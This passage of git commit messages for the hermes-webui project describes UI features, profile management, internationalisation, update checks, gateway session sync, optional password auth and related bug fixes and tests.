- Profile-isolated: _get_config_path() is thread-local so per-profile settings never bleed across
- Boot hydration: window._showThinking initialised from settings.json show_thinking on page load
- Inspect.signature guard in streaming.py so older hermes-agent builds don't TypeError
28 new tests, 1708/1708 total passing. Full browser QA on port 8789 with isolated state. CLI/config.yaml sync verified with hermes_constants.parse_reasoning_effort().
* fix: dynamic version badge — read from git tag, never hardcoded
The settings panel showed v0.50.87 and the HTTP Server: header said
HermesWebUI/0.50.38 — both hardcoded strings that drift further behind
with every release because there was no mechanism to keep them in sync.
Changes:
- api/updates.py: add _run_git() (moved before _detect_webui_version),
_detect_webui_version(), and WEBUI_VERSION module constant resolved
once at import time via 'git describe --tags --always --dirty'.
Fallback chain: git → api/_version.py → 'unknown'.
- api/routes.py: inject webui_version into GET /api/settings response
so the frontend can read it without a separate API call.
- static/panels.js: loadSettingsPanel() populates .settings-version-badge
from settings.webui_version — one line after the existing api() call.
- static/index.html: replace stale hardcoded 'v0.50.87' with '—'
placeholder; JS overwrites it as soon as the settings panel opens.
- server.py: replace hardcoded 'HermesWebUI/0.50.38' server_version with
'HermesWebUI/' + WEBUI_VERSION.lstrip('v') — stays in sync automatically.
- Dockerfile: add ARG HERMES_VERSION=unknown and write api/_version.py
so Docker images (where .git is excluded) still show the correct tag.
- .github/workflows/release.yml: pass build-args: HERMES_VERSION=${{ github.ref_name }}
to the Docker build step on tag pushes.
- .gitignore: exclude api/_version.py (generated by Docker/CI, never committed).
No manual 'update the version badge' step is required going forward.
Tagging is sufficient — the badge and HTTP header update automatically.
Tests: 18 new tests in tests/test_version_badge.py covering the full
resolution chain, /api/settings injection, HTML placeholder, JS wiring,
and server.py import. 1596 tests pass total.
* fix: address review feedback on PR #790
- api/updates.py: replace exec() with regex parse for api/_version.py
(no supply-chain risk from build artifact; exec unnecessary for one assignment)
- api/updates.py: cap git describe timeout at 3s (was 10s — import-time
stall on NFS/.git would block server startup unnecessarily)
- server.py: lstrip('v') → removeprefix('v') (lstrip strips chars not prefix)
- server.py: emit bare 'HermesWebUI' when version is 'unknown' rather than
'HermesWebUI/unknown' (log aggregators expect semver-ish suffix or none)
- CHANGELOG.md: add v0.50.124 entry for this user-visible change
- tests: rename exec-error test to reflect regex behaviour; add tests for
removeprefix usage and unknown-version header guard (1598 tests total)

Removes the bubble_layout toggle from Settings, all persistence, CSS, i18n strings, and the UI docs demo. The CSS was already effectively dead. Users with a saved bubble_layout value in settings.json get a clean migration via _SETTINGS_LEGACY_DROP_KEYS.

Adds compact/detailed toggle for the session list sidebar. Compact is the default (no behavior change for existing users). Detailed mode shows message count and model; profile names only appear when mixing sessions across profiles.

Four self-contained CSS/JS fixes: skill click auto-opens workspace panel (ensureWorkspacePreviewVisible before api call), thinking card body scrolls when open (overflow-y:auto), nav tab icons properly centered (display:flex), Safari iOS zoom prevented (textarea 14px->16px). Independent review by @nesquena confirmed all four correct.
Independent review by @nesquena confirmed all blockers resolved. Theme×skin two-axis system replaces old monolithic color schemes. Closes#627. Co-Authored-By: aronprins <aronprins@users.noreply.github.com>
Squash-merges feature from PR #588 by @vcavichini. Dynamic <base href> injection + api() helper slash-stripping enables deploying hermes-webui behind a reverse proxy at any subpath without configuration. Also fixes pre-existing bug: api/upload was using location.origin instead of location.href (closes#596). Co-authored-by: vcavichini <vcavichini@users.noreply.github.com>
Synthesized from PRs #506, #509, #514 (all by armorbreak001 and cloudyun888).
Implementation:
- static/index.html: flicker-prevention head script resolves 'system' to
'dark'/'light' via matchMedia before first paint. Adds 'System (auto)'
as first option in theme picker. onchange calls _applyTheme().
- static/boot.js: new _applyTheme(name) helper — resolves 'system' via
matchMedia, sets data-theme, registers a MQ change listener so the UI
tracks OS switches live. loadSettings() now calls _applyTheme() instead
of direct data-theme assignment.
- static/commands.js: adds 'system' to valid /theme command names,
delegates apply to _applyTheme().
- static/panels.js: _settingsThemeOnOpen reads from localStorage (preserves
'system' string, not the resolved 'dark'/'light'). _revertSettingsPreview
calls _applyTheme() so reverting to 'system' correctly re-enables OS tracking.
- static/i18n.js: cmd_theme description now lists 'system' first in all 5
locales (en, es, de, zh-Hans, zh-Hant).
Design choices vs submitted PRs:
- No separate system-theme.js file (unnecessary indirection).
- matchMedia listener does NOT POST to /api/settings (OS can change rapidly;
persisting on every OS switch would hammer the server).

Two complementary cache-busting strategies for the stale cron skill picker:
1. On cron form open (toggleCronForm): always null _cronSkillsCache before
fetching, so freshly created skills are immediately visible without a
page reload. Previously the cache was only populated once and never
invalidated.
2. On skill save (submitSkillSave): null _cronSkillsCache after a successful
write so the next cron form open is forced to re-fetch. Mirrors the
existing _skillsData=null pattern one line above.

* feat(ui): opt-in chat bubble layout
Closes#336.
Adds a settings toggle that right-aligns user messages and left-aligns
assistant replies. Off by default - the current full-width layout is
friendlier to code blocks and tool output, so bubbles are strictly
opt-in per the maintainer note on the issue.
Wiring follows the existing token-usage / cli-sessions pattern:
- api/config.py: new bubble_layout bool in _SETTINGS_DEFAULTS and
_SETTINGS_BOOL_KEYS, validated + persisted like the rest.
- static/style.css: .bubble-layout gated selectors using :has() to
tag msg-rows by .msg-role.user / .msg-role.assistant without any JS
changes to message creation. User rows get align-self: flex-end,
max-width: 75%, and a row-reverse header; assistant rows flex-start.
A 700px media query widens the max to 92% on narrow screens.
- static/index.html: new checkbox with i18n keys next to the existing
token-usage toggle.
- static/panels.js: loads the setting into the checkbox, saves it
back, and toggles body.bubble-layout immediately on save.
- static/boot.js: applies the class on initial load so refreshed
tabs honor the persisted setting without a flash.
- static/i18n.js: English label + description.
Test suite errors are environmental (test server fails to start on
port 8788 on main as well).
* i18n(es): add Spanish translations for bubble_layout setting
* fix+test: boot.js bubble-layout reset on failure; add 22 tests for issue #336
* docs: v0.50.24 release — version badge and CHANGELOG

- static/ui.js: add loadInflightState() function (currently returns null —
the typeof guard in sessions.js means reload recovery works via the
else-path attachLiveStream call; this stub satisfies the guard cleanly
and documents the extension point for future localStorage-backed state)

* Polish workspace panel behavior and app dialogs
* Replace remaining emoji UI glyphs with Lucide icons
* Redesign composer footer around model and context controls
Move the model selector into the composer footer, replace the linear context pill with a compact circular badge plus tooltip, and remove the redundant topbar model pill.
Design credit and inspiration: Theo / T3 Code.
Reference implementation: https://github.com/pingdotgg/t3code/
* Remove obsolete activity bar
Drop the old activity bar, keep turn-scoped state in the composer footer, and route remaining non-chat status messages through toasts.
This leaves live tool cards and the message timeline as the primary progress UI, with the composer owning stop/cancel and brief turn status.
* Move workspace and model switching into composer footer
* Move profile switching into composer footer
* Refactor Hermes control center UI
* Redesign control center settings modal layout
Widen the modal to 860px, simplify the tab list to icon+label rows,
stretch the tab column's divider to full height, lock the panel to a
fixed height so switching tabs no longer resizes the outer shell, and
always open on the Conversation tab.

* Put session item actions in a dropdown
* Use Hermes mark in sidebar control button
* Reset control center section on close
* Drop session-item left border indicator
Remove the left-border accent used for active, CLI, and project rows —
each state already has a dedicated cue (gold fill, cli badge, project
dot), so the border was redundant. Fully round the row, add 2px
bottom spacing between rows, and strip the matching JS/CSS overrides.

* Increase session search input vertical padding
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* Normalise odd pixel values across UI
Snap padding, gap, and border-radius values to the 2/4/6/8/10/12 grid
across composer chips, sidebar panels, cron list, settings, approval
buttons, dropdowns, and inline message edit — eliminating the 7/9/11px
drift that was making sibling elements feel subtly misaligned.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* Add missing #btnMobileFiles button and .mobile-files-btn CSS (for mobile QA suite)
The mobile layout regression suite (test_mobile_layout.py) requires:
- #btnMobileFiles onclick=toggleMobileFiles() in topbar chips
- .mobile-files-btn CSS rules for responsive show/hide at 640/900px breakpoints
Also adds max-width guard to .profile-dropdown to prevent clipping at narrow viewports.
* Improve composer footer mobile responsiveness and UX
- Collapse composer chips to icon-only at <=400px viewports
- Add model chip icon (CPU) so it remains tappable when labels are hidden
- Show send button always (disabled state when empty, hidden during streaming)
- Show context usage indicator on session load, not just after streaming
- Add cancel status fallback timeout to prevent stale "Cancelling..." text
- Update tests to match new send button and busy state behavior
* Fix duplicate files button and broken workspace close on mobile
Remove redundant #btnMobileFiles button that duplicated #btnWorkspacePanelToggle
in the mobile topbar. Fix workspace panel close button calling undefined
closeMobileFiles() — now calls closeWorkspacePanel().

* Fix workspace toggle button hidden on desktop by conflicting CSS class
Remove mobile-files-btn class from #btnWorkspacePanelToggle — its
display:none!important rule was overriding workspace-toggle-btn visibility
on non-mobile viewports.

* Fix session actions dots button inaccessible on mobile sidebar
Always show the session actions trigger on mobile (no hover state on
touch devices) and restore right padding so text truncates with
ellipsis before the dots icon.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* Fix composer footer manage links not opening sidebar panel
The "Manage profiles" and "Manage workspaces" links in the composer
footer dropdowns called switchPanel() which only changes the active
panel content but doesn't open the sidebar. Replaced with
mobileSwitchPanel() which also opens the sidebar so the panel is
actually visible.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* Widen icon-only composer chips breakpoint from 400px to 768px
Move the icon-only chip styling up into the existing max-width:768px
media query so chips collapse to icon-only on tablets too, preventing
composer footer overflow on mid-size screens.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* Fix composer-left vertical scrollbar by setting overflow-y:hidden
When overflow-x is set to auto, the CSS spec implicitly changes
overflow-y from visible to auto, allowing a vertical scrollbar to
appear from slight chip padding/border overflow. Explicitly set
overflow-y:hidden to prevent this.

* fix: resolve rebase conflicts and fix control center test assertions
- Resolved 4 conflicts during rebase onto master (workspace.js,
boot.js, index.html, test_sprint34.py)
- Fixed test_sprint34.py: _controlSection -> _settingsSection,
cc-tab -> settings-tabs (matching actual implementation)

* feat: add real-time gateway session sync (Phase 1)
- Add gateway_watcher.py: background daemon polling state.db every 5s
for gateway session changes (telegram, discord, slack, etc.)
- Extend get_cli_sessions() to include all non-webui sources
- Add SSE endpoint /api/sessions/gateway/stream for real-time push
- Add dynamic source badges (telegram=blue, discord=purple, slack=dark purple)
- Rename 'Show CLI sessions' to 'Show agent sessions'
- Wire watcher lifecycle into server start/stop
- 10 tests covering metadata, filtering, SSE, and watcher lifecycle
- Activated via the same checkbox as CLI session import
Addresses GitHub issue #272
* fix: SSE event name mismatch, TLS attribute, remove PLAN.md
- Fix critical SSE bug: frontend listened for 'gateway_session_update'
but backend sends 'sessions_changed' -- events were silently dropped
- Fix frontend field check: data.changed -> data.sessions (matches
the actual payload structure from gateway_watcher)
- Fix TLS: ssl.TLSv1_2 -> ssl.TLSVersion.TLSv1_2 (the bare attribute
does not exist, would crash TLS setup and silently fall back to HTTP)
- Remove PLAN.md: implementation plan should not be committed to repo
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: test isolation and slow-consumer sentinel in gateway sync
tests/test_gateway_sync.py:
- Fix _get_test_state_dir() path mismatch: the function was computing
HERMES_HOME/webui-mvp-test but conftest.py sets HERMES_HOME=TEST_STATE_DIR,
so state.db was written to a double-nested path the server never read.
Now uses HERMES_WEBUI_STATE_DIR first (which conftest sets directly to
TEST_STATE_DIR), fixing the 7/10 test failures in full-suite ordering.
- Fix conn cleanup: removed conn.close() from inside try blocks so the
connection stays valid for _remove_test_sessions() in the finally block.
Previously the closed conn caused ProgrammingError in finally (swallowed
by bare except), leaving ghost sessions in state.db on test failure.
api/gateway_watcher.py:
- Fix slow-consumer queue eviction: when a subscriber queue fills (>10 events)
and is removed from _subscribers, now puts a None sentinel into it so the
SSE handler unblocks and closes the connection, letting EventSource
auto-reconnect. Without this the connection stayed open but received no
further events.
* fix: test isolation — set HERMES_WEBUI_TEST_STATE_DIR in conftest
The gateway sync tests write directly to state.db and must use the same
path the test server reads from. Previously they computed the path
independently, which broke when test_auth_sessions.py set a different
HERMES_WEBUI_STATE_DIR in the test-process environment at import time.
tests/conftest.py:
- Set HERMES_WEBUI_TEST_STATE_DIR=TEST_STATE_DIR in the test process's
os.environ (via setdefault) so gateway tests can read it reliably.
Using setdefault preserves any explicit override the caller may pass.
tests/test_gateway_sync.py:
- Simplify _get_test_state_dir(): check HERMES_WEBUI_TEST_STATE_DIR first
(now reliably set by conftest), fall back to HERMES_HOME/webui-mvp-test.
Remove the workaround that tried to snapshot HERMES_HOME at import time.
Result: 658/658 tests pass in full-suite ordering (was 651 pass / 7 fail).

* fix: custom provider with slash model name no longer rerouted to OpenRouter (#255)
When base_url is configured in config.yaml, resolve_model_provider() now
trusts the configured provider/base_url entirely and skips the slash-based
OpenRouter heuristic. Fixes google/gemma-4-26b-a4b with provider:custom
being silently routed to OpenRouter, resulting in 401 errors.
Fixes#230
* test: mobile layout regression suite — 14 tests for every QA run (#254)
Adds tests/test_mobile_layout.py with 14 static regression tests that run
on every QA pass to catch mobile layout breakage before it reaches prod.
Covers: breakpoints at 900px/640px, right panel slide-over CSS, mobile
overlay, bottom nav, files button, profile dropdown z-index, chip overflow,
workspace close, 100dvh, 44px touch targets, 16px font-size on textarea.
* feat: /skills slash command lists and filters available Hermes skills (#257)
Adds /skills [query] command to commands.js. Fetches from /api/skills,
groups by category (alphabetically sorted), displays as a formatted
assistant message. Optional query filters by name, description, or category.
i18n keys added for en, de, zh, zh-Hant. 1 regression test added.
Fixes#248
* feat: shared app dialogs replace native confirm()/prompt() calls (#251)
Adds showConfirmDialog() and showPromptDialog() helpers to ui.js, backed
by a themed #appDialogOverlay. Replaces all 11 native browser confirm/prompt
call sites across panels.js, sessions.js, ui.js, workspace.js.
Supports: danger mode, keyboard focus trap (Tab/Escape/Enter), focus restore,
ARIA roles, mobile-responsive stacked buttons at 640px. i18n for en/de/zh/zh-Hant.
5 new tests in test_sprint33.py verify markup, CSS, helpers, and absence of
native dialog calls.
Extracted from PR #242.
* fix: Android Chrome mobile — workspace panel close + profile dropdown (#256)
Fix#247: toggleMobileFiles() now shows/hides the mobile overlay when
toggling the right workspace panel. New closeMobileFiles() helper closes
the panel with correct overlay state tracking. Overlay onclick calls both
closeMobileSidebar() and closeMobileFiles(). Mobile-only close button (x)
added to workspace panel header.
Fix#246: profile dropdown uses position:fixed;top:56px;right:8px at
max-width:900px, escaping the overflow-x:auto stacking context that was
clipping it on Android Chrome.
Fix applied during review: closeMobileSidebar() now checks if the right
panel is still open before hiding the overlay, preventing the overlay from
disappearing when only the sidebar is closed.
Fixes#247Fixes#246
* feat: session ⋯ action dropdown replaces per-row buttons (#252)
Replaces the 5 per-row hover action buttons (pin/move/archive/duplicate/trash)
with a single ⋯ trigger that opens a positioned dropdown menu. Menu has full
keyboard (Escape), click-outside, scroll, and resize-reposition handling.
Position:fixed prevents sidebar clipping.
5 actions: Pin/Unpin, Move to project, Archive/Unarchive, Duplicate, Delete
(danger style). Each with icon and descriptive subtitle.
Updated test_sprint16.py: test_sessions_js_uses_action_menu_not_per_row_buttons

Add applyLocaleToDOM() which walks [data-i18n] elements and re-stamps
their textContent from t(). Called after setLocale() in saveSettings()
so the settings panel labels, checkboxes, and save button update live.
Also called on boot after /api/settings resolves so Chinese persists
without flicker on reload.
- static/i18n.js: add applyLocaleToDOM() function
- static/index.html: add data-i18n attributes to all settings panel
static text nodes (labels, checkbox spans, save button)
- static/panels.js: call applyLocaleToDOM() + syncTopbar() after save
- static/boot.js: call applyLocaleToDOM() alongside setLocale() on boot
Introduces a locale bundle system that makes UI language switchable at
runtime and trivially extensible to any future language.
Architecture:
- static/i18n.js: LOCALES object with 'en' and 'zh' bundles, t(key)
helper with English fallback, setLocale()/loadLocale() for persistence
via localStorage. Adding a new language = adding one object.
- api/config.py: 'language' setting (default 'en'), BCP-47 validation
- api/routes.py: _LOGIN_LOCALE dict for server-rendered login page;
template placeholders substituted at request time from saved setting
- static/index.html: loads i18n.js first (before other scripts); adds
Language dropdown to Settings panel, auto-populated from LOCALES
Wiring:
- boot.js: applies server-persisted locale at startup (after /api/settings
fetch); speech recognition lang follows _locale._speech
- panels.js: populates Language dropdown from LOCALES on settings open;
saves + applies locale on Save Settings
- All JS files: hardcoded user-facing strings replaced with t() calls
Coverage:
- test_sprint20.py: relaxed recognition.lang assertion to accept dynamic
locale-driven assignment (behavior unchanged for English default)
- 499/499 tests pass
Closes#177 (incorporates Chinese translations as a proper locale bundle
rather than hardcoded strings, so English default is fully preserved)
Agent review findings:
- _soundEnabled/_notificationsEnabled not updated in the password-save
early-return branch of saveSettings() — fixed
- AudioContext never closed after oscillator finishes — added osc.onended
callback to ctx.close() preventing resource accumulation
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add two new settings (both default off):
- sound_enabled: plays a short tone via Web Audio API when assistant
finishes a response or requests approval
- notifications_enabled: shows a browser notification when a response
completes while the tab is in the background
Uses Web Audio API (oscillator) instead of bundled MP3 file — zero
additional assets. Follows the standard 4-file settings pattern.
Also skip test_valid_skill_accepted when hermes-agent not installed
(skills endpoint returns 500 without the agent module).
Inspired by #176 (DavidSchuchert)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- api/updates.py: add _apply_lock to prevent concurrent stash/pull/pop
- static/boot.js: set check_for_updates:false on settings fetch failure
- static/panels.js: remove dead settingsWorkspace references (element removed from HTML)
- api/routes.py + static/boot.js: add ?test_updates=1 URL param for testing banner
without being behind on git (localhost-only simulate endpoint)
Shows a blue banner when the webui or hermes-agent git repos are behind
their upstream branches. One-click 'Update Now' button does stash, pull
--ff-only, stash pop, then reloads the page.
Backend (api/updates.py):
- _check_repo(): git fetch + rev-list count with 15s timeout
- check_for_updates(): 30-min server-side cache, thread-safe, skips
Docker (no .git dir)
- apply_update(): stash (if dirty), pull --ff-only, pop, invalidate cache
Routes:
- GET /api/updates/check -- returns cached {webui, agent} with behind count
- POST /api/updates/apply -- {target: 'webui'|'agent'}
Frontend:
- Blue banner (matches reconnect-banner pattern) with 'Later' / 'Update Now'
- Non-blocking boot check via fire-and-forget .then(), once per tab session
- sessionStorage guards prevent re-checking and re-showing after dismiss
Settings:
- 'Check for updates' checkbox (default: on) -- when off, no git operations
- Removed 'Default Workspace' dropdown to keep settings panel compact
Performance:
- Server cache: git fetch at most 2x/hour regardless of client count
- sessionStorage: one check per browser tab session
- _check_in_progress flag prevents concurrent fetch storms
- Fire-and-forget: does NOT block the boot sequence
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Unsaved-changes guard:
- _closeSettingsPanel() intercepts all three close paths (X button, overlay
click, Escape key) and checks _settingsDirty before closing
- If dirty: shows inline 'Unsaved changes' bar with Save & Close / Discard
- Discard reverts the live theme preview to what it was when panel opened
- _markSettingsDirty() wired to all inputs via addEventListener in loadSettingsPanel()
- saveSettings() now resets dirty flag and hides the bar on successful save
Theme improvements:
- Add 'Slate' theme: warm charcoal (#2b2d30 bg), a softer/lighter dark option
that sits between Dark and the full light themes
- Rework 'Light' theme: replace pure white (#f5f5f7) with warm off-white
(#f0ede8) -- warmer, lower contrast, less harsh on most displays
- Update /theme command to include 'slate' in valid list
- Add test_settings_set_theme_slate() to test_sprint26.py
WebUI sessions were invisible to 'hermes /insights' because the WebUI
bypasses the gateway and calls AIAgent.run_conversation() directly,
never writing to state.db.
New 'Sync usage to /insights' setting (default: off) that mirrors
WebUI session metadata (tokens, cost, model, title) into state.db
after each turn. Uses absolute token counts to avoid double-counting.
Components:
- api/state_sync.py: bridge module with sync_session_start() and
sync_session_usage(). Uses ensure_session() (idempotent) and
update_token_counts(absolute=True). All wrapped in try/except.
- api/config.py: new 'sync_to_insights' boolean setting
- api/streaming.py: calls sync_session_usage() after s.save()
- api/routes.py: same for the non-streaming chat path
- Settings UI: checkbox toggle with description
Default off because:
- Writing to state.db while CLI/gateway also writes could cause
WAL lock contention on busy systems
- Some users may not want WebUI sessions in /insights stats
Closes#92
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Adds a server-side boolean setting (default: false) that controls whether
CLI sessions from state.db appear in the sidebar. Off by default so the
sidebar is clean until the user explicitly opts in.
- api/config.py: add show_cli_sessions to _SETTINGS_DEFAULTS and _SETTINGS_BOOL_KEYS
- api/routes.py: gate get_cli_sessions() call on the setting at request time
- static/index.html: checkbox in settings panel with description
- static/panels.js: load/save checkbox, refresh session list on save
- static/boot.js: load on startup alongside send_key and show_token_usage

Token usage display:
- Add 'show_token_usage' boolean to settings (default: false, off by default)
- Settings panel: checkbox 'Show token usage after responses'
- /usage slash command: instant toggle with toast feedback, persists to
server, updates checkbox if settings panel is open, re-renders messages
- Boot: load show_token_usage alongside send_key on startup
- ui.js: gate usage badge on window._showTokenUsage flag
Timestamps:
- streaming.py: stamp 'timestamp' on every message that lacks one at
conversation completion; old messages (no timestamp field) now get a
wall-clock time the first time they're touched by a new turn
- messages.js: stamp _ts on the last assistant message at done-event time
so the time shows immediately on the current turn before next reload
- Timestamps already render in the UI (Sprint 14): faint time on each
role header line, full opacity on hover, full date in title tooltip
- routes.py: reject glob wildcards (* ? [ ]) in skill name param to
prevent rglob wildcard injection when serving linked files
- panels.js: replace inline onclick+esc() with data-* attributes and
addEventListener for skill tag removal and linked-file clicks;
esc() is HTML-safe but not JS-safe -- apostrophes in names caused
JS syntax errors and _cronSelectedSkills array corruption
- ui.js: fix _fmtTokens(null/undefined) returning 'null'/'undefined'
by guarding with (!n||n<0) -> '0'; add data-role attribute to msg-row
elements so usage badge correctly targets the last assistant row
instead of the last row regardless of speaker
- tests: rename test_sprint24.py -> test_sprint23.py (wrong sprint #);
add 3 new tests: path traversal rejection, wildcard name rejection,
cron create with skills; strengthen existing tests to assert field
presence explicitly (was using .get(field, 0)==0 which never caught
a missing field)
Track A: Token/cost display
- Read agent usage attrs (session_prompt_tokens, session_completion_tokens,
session_estimated_cost_usd) after run_conversation in streaming.py
- Add input_tokens, output_tokens, estimated_cost fields to Session model
- Include usage in done SSE event payload
- Store usage on S.lastUsage in messages.js done handler
- Render usage badge below last assistant message (input/output/cost)
Track B: Subagent delegation cards
- Add subagent_progress to toolIcon map with shuffle emoji
- Special-case subagent_progress in buildToolCard: "Subagent" label,
strip double emoji from preview, add tool-card-subagent CSS class
- Indented border-left styling for subagent cards
- Clean delegate_task display name
Track C: Skill picker in cron create form
- Add skill search input + tag chips to cron create form HTML
- Skill picker JS in panels.js: search/filter, click-to-add tags,
remove tag chips, pre-fetch skill list on form open
- submitCronCreate sends skills array in POST body
- Skill picker dropdown + tag CSS
Track D: Skill linked files viewer
- Add file query param to /api/skills/content endpoint
- Serve linked files from skill directory with path traversal protection
- Ensure linked_files key always present in skill content response
- Render linked files section below SKILL.md content in preview panel
- openSkillFile function for viewing individual linked files
Track E: Bug fixes and code quality
- Expand Session.__init__ and compact() to readable multi-line format
- Remove inline import json as _j2 inside loop in streaming.py
- Fix tool_calls: capture args from assistant messages, skip unresolved names
- Store args snapshot in persisted tool_calls for reload display
6 new tests. Total: 421 (409 passing).

A session with messages belongs to the profile it was created under. Switching
profiles while a conversation is in progress should not retag that session or
update its workspace/model in place — that would corrupt the session's context.
New behavior:
- Session has NO messages (empty): profile switch updates it in place (model,
workspace). Works exactly as before — nothing was started yet.
- Session HAS messages (in progress): profile switch calls newSession() to
start a fresh session tagged to the new profile. The old session is left
untouched. Toast: 'Switched to profile: X — new conversation started'.
- Agent busy: blocked as before, no change.
Also: S._profileDefaultWorkspace is now consumed (set to null) inside
newSession() after the first use, so it doesn't keep forcing the same
workspace on every subsequent new session after a switch.
Root cause: three interacting bugs caused the model picker to show the wrong
model or flicker after a profile switch.
Bug 1 — syncTopbar() fought switchToProfile().
After switchToProfile() set the picker to the profile's model, syncTopbar()
was called (via renderSessionList -> loadSession, then explicitly at the end)
and overwrote it with S.session.model -- the old session's model.
Fix: added S._pendingProfileModel flag. switchToProfile() sets it;
syncTopbar() checks it first, applies the override, then clears it.
S.session.model is also updated to the resolved value so subsequent
syncTopbar() calls are consistent.
Bug 2 — Raw option injected at top of list for mismatched model IDs.
Profile configs store model IDs like 'claude-sonnet-4-6' (hermes-agent
format: hyphens, no namespace prefix) but the dropdown has
'anthropic/claude-sonnet-4.6' (OpenRouter format: dots, with prefix).
The old code did sel.value = id, found no match, then injected a new
<option> at the top of the list -- creating a lowercase duplicate that
didn't match any real provider group entry.
Fix: _findModelInDropdown() normalises both sides (strip prefix, hyphens->dots,
lowercase) and finds the best matching existing option. No new options are ever
injected for profile switching.
Bug 3 — populateModelDropdown() injected raw option on cold load.
Same issue: if default_model from /api/models didn't exactly match a dropdown
value, an extra option was added. Fixed by using _applyModelToDropdown()
which only selects existing options.
New helpers in ui.js:
_findModelInDropdown(modelId, sel) -- smart fuzzy match, returns matched value
_applyModelToDropdown(modelId, sel) -- sets picker, returns resolved value
Tests: 426 passed, 0 failed.
Two changes:
1. Workspace updates correctly on profile switch
switchToProfile() now applies data.default_workspace from the switch
response to the current session via /api/session/update, updates
S.session.workspace in-memory, and stores S._profileDefaultWorkspace
so the next new session also inherits the profile's workspace.
newSession() in sessions.js picks up S._profileDefaultWorkspace when
creating a new session after a profile switch.
2. Workspace chip removed from topbar
The workspace was shown in two places: the topbar chip (wsChip) AND
the sidebar bottom display (sidebarWsDisplay with name + full path).
The topbar chip was redundant, cluttered the topbar, and pushed other
chips (profile, model, clear, settings) off screen.
Removed wsChip from the topbar entirely. The sidebar display is now
the sole workspace UI, consistent and unambiguous.
Moved wsDropdown to live inside the sidebar position:relative wrapper
so it opens downward from sidebarWsDisplay. Updated the click-outside
listener to close on clicks outside sidebarWsDisplay/wsDropdown.
Removed stale wsChip update code from syncTopbar() in ui.js.
Tests: 426 passed, 0 failed.
Fix five coherence bugs in profile switching:
1. Model picker ignored profile default (localStorage stale key)
2. Workspace list was global (not profile-scoped)
3. DEFAULT_WORKSPACE was a boot-time singleton
4. Session list showed all profiles (no filtering)
5. switchToProfile() didn't refresh workspaces or sessions
Backend: workspace storage is now profile-local for named profiles,
switch_profile() returns default_model and default_workspace.
Frontend: switchToProfile() clears stale model pref, refreshes
workspace list and session list, sessions.js filters by active profile
with 'Show N from other profiles' toggle.
8 new tests. 400 pass / 23 fail (identical to baseline).

BUG-3 (high): /api/profile/delete missing RuntimeError catch. When
deleting the active profile while an agent was running, delete_profile_api()
called switch_profile('default') which raises RuntimeError('Cannot switch
profiles while agent is running'). This propagated to the 500 handler
giving the user 'Internal server error' with no context. Added the same
except RuntimeError -> 409 pattern that /api/profile/switch already uses.
INFO-1 (defense-in-depth): /api/profile/create had no server-side name
validation before delegating to hermes_cli.validate_profile_name. Added
server-side ^[a-z0-9][a-z0-9_-]{0,63}$ check, consistent with client-side
regex in submitProfileCreate(). Prevents path-traversal-ish names from
reaching hermes_cli even if the client-side guard is bypassed.
INFO-2 (defense-in-depth): clone_from parameter was passed directly to
hermes_cli with no validation. Applied the same name regex check to
clone_from before delegating.
BUG-11 (low): toggleProfileDropdown() and toggleWsDropdown() could both
be open simultaneously. Added cross-dropdown close calls: opening the
profile dropdown now closes the workspace dropdown, and vice versa.
Tests: 415 passed, 0 failed.
Add full profile management to the web UI, matching the hermes-agent CLI
profile system. Profiles are isolated HERMES_HOME instances with their own
config, skills, memory, cron, and API keys.
Backend: new api/profiles.py wrapping hermes_cli.profiles, dynamic config
reloading, 5 new API endpoints, profile-aware path resolution, HERMES_HOME
env save/restore in streaming, module-level cache patching for skills_tool
and cron/jobs.
Frontend: profile chip in topbar with dropdown, Profiles sidebar panel with
CRUD UI, boot-time profile fetch, cascade refresh on switch.

The previous logic treated a blank password field as intent to clear auth,
which meant saving any other setting (model, send key, etc.) would silently
disable password protection.
New behavior:
- Blank password field + Save Settings = no change to auth (do nothing)
- Password field with content + Save = set/change password (unchanged)
- 'Disable Auth' button = explicit confirmation-gated clear (new)
UI changes:
- index.html: updated description text to 'Leave blank to keep current
setting'; added 'Disable Auth' button (amber, shown only when auth active)
- panels.js: saveSettings() skips password logic entirely when field is blank;
loadSettingsPanel() shows/hides both btnDisableAuth and btnSignOut based on
auth_enabled; new disableAuth() function sends _clear_password:true after
confirm() prompt and hides both auth buttons on success
Server: no logic changes needed; _clear_password handling in save_settings()
is now only triggered by the explicit Disable Auth action.
Auth system (off by default, zero friction for localhost):
- New api/auth.py module: password hashing (SHA-256 + STATE_DIR salt),
signed HMAC session cookies (24h TTL), auth middleware
- Enable via HERMES_WEBUI_PASSWORD env var or Settings panel
- Minimal dark-themed login page at /login (self-contained HTML)
- POST /api/auth/login, /api/auth/logout, GET /api/auth/status
- Settings panel: "Access Password" field + "Sign Out" button
- password_hash added to settings.json (null = auth disabled)
Security hardening:
- Security headers on all responses: X-Content-Type-Options: nosniff,
X-Frame-Options: DENY, Referrer-Policy: same-origin
- POST body size limit: 20MB cap in read_body() to prevent DoS
Closes#23. 9 new tests. Total: 304 passed, 0 regressions.
